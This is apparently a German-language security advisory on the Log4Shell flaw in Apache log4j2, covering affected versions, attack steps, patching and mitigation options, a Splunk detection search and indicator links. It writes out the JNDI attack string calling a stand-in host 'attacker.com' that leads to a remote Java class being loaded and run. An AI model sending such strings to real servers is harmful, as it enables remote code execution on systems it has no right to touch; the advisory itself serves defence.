Wer ist betroffen?
Systeme und Dienste, die die Java-Logging-Bibliothek Apache log4j2 zwischen den Versionen 2.0 und 2.14.1 verwenden. Dazu gehören viele in Java geschriebene Anwendungen und Dienste. Hier eine kurze Auflistung der derzeit verwundbaren Dienste (Herstellerliste): gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592
Was passiert jetzt genau?
Es reicht im Endeffekt, das Zielsystem dazu zubringen, einen String zu loggen. Dies kann interaktiv aus der Applikation heraus erfolgen oder per GET über das Internet. Man nutzt hierfür das "JNDI - Java Naming and Directory Interface" und bedient sich dabei seiner Lookup-Funktionalität.
Schritte:
- Daten vom Benutzer werden an den Server gesendet (über ein beliebiges Protokoll)
- Der Server protokolliert die Daten in der Anfrage, die den schädlichen String enthalten: ${jndi:ldap://attacker.com/a} (wobei attacker.com ein von einem Angreifer kontrollierter Server ist)
- Die log4j-Schwachstelle wird durch diesen String ausgelöst und der Server stellt eine Anfrage an attacker.com über "Java Naming and Directory Interface" (JNDI),
- Diese Antwort enthält einen Pfad zu einer entfernten Java-Klassendatei (z. B. second-stage.attacker.com/Exploit.class), die in den Serverprozess eingefügt wird.
- Dieser injizierte Payload löst eine zweite Stufe aus und ermöglicht einem Angreifer, beliebigen Code auszuführen.
Wie schütze ich mich?
Patchen Sie Ihre Systeme und updaten Sie die betroffene Bibliothek mindestens auf Version "og4j-2.15.0-rc2". Central Repository: org/apache/logging/log4j/log4j-core/2.15.0 (maven.org)
Wenn patchen nicht möglich ist:
- Für Log4j 2.10 oder höher: Fügen Sie -Dlog4j.formatMsgNoLookups=true als Befehlszeilenoption hinzu oder fügen Sie log4j.formatMsgNoLookups=true zur Datei log4j2.component.properties im Klassenpfad hinzu, um Nachschlagen in Protokollereignismeldungen zu verhindern.
- Für Log4j 2.7 oder höher: Geben Sie %m{nolookups} in der PatternLayout-Konfiguration an, um Nachschlagen in Protokollereignismeldungen zu verhindern.
- Entfernen Sie die Klassen JndiLookup und JndiManager aus dem log4j-core-JAR. Beachten Sie, dass das Entfernen von JndiManager dazu führt, dass der JndiContextSelector und der JMSAppender nicht funktionieren.
Splunk Search:
- index=* "jndi"
- | rex field=_raw ".*\$\{\w+[^\"\d](\w+|\d+|W+|\s+\S+)\W+\/(?P<BadIP>\d+\d.\d+.\d+.\d+:\d+)"
- | rex field=_raw ".*\$\{\w+[^\"\d](\w+|\d+|W+|\s+\S+)\W+\/(?P<BadURL>\S+\.\w+/\w+)"
- | rex field=_raw ".*(?<exploit>\$\{jndi[^\"]*})"
- | table _time index src_ip BadIP BadURL exploit _raw
- | fillnull value="N/A"
- | dedup src_ip BadIP BadURL exploit
- | sort - _time
IOC:
- IP Adressen: gist.github.com/gnremy/c546c7911d5f876f263309d7161a7217
- Exploit Payloads: gist.github.com/nathanqthai/01808c569903f41a52e7e7b575caa890
Quick Fix
Cyberreason hat hier einen "Fix" bereitgestellt, der sich der grundlegenden Schwachstelle bedient. Systeme welche nicht gepatcht werden können, da ein Neustart nicht möglich ist o.ä. - kann sich diesem Fix bedienen. Sollten aber zeitnah gepatcht werden!
Wie arbeitet der "Fix"?
Der Server wird ebenfalls über den Vector "${jndi:ldap://...." angesprochen, statt aber Schadcode nachzuladen, wird auf dem Zielsystem das Lookup "Feature" deaktiviert. Dies ist als schnelle Hilfe zu verstehen und ersetzt kein komplettes patchen der Systeme! Anbei der Link zu GIT Repo: github.com/Cybereason/Logout4Shell
Autor: Daniel Amlung, System Engineer und Experte für Virtualisierung, Logging und Security bei SHD
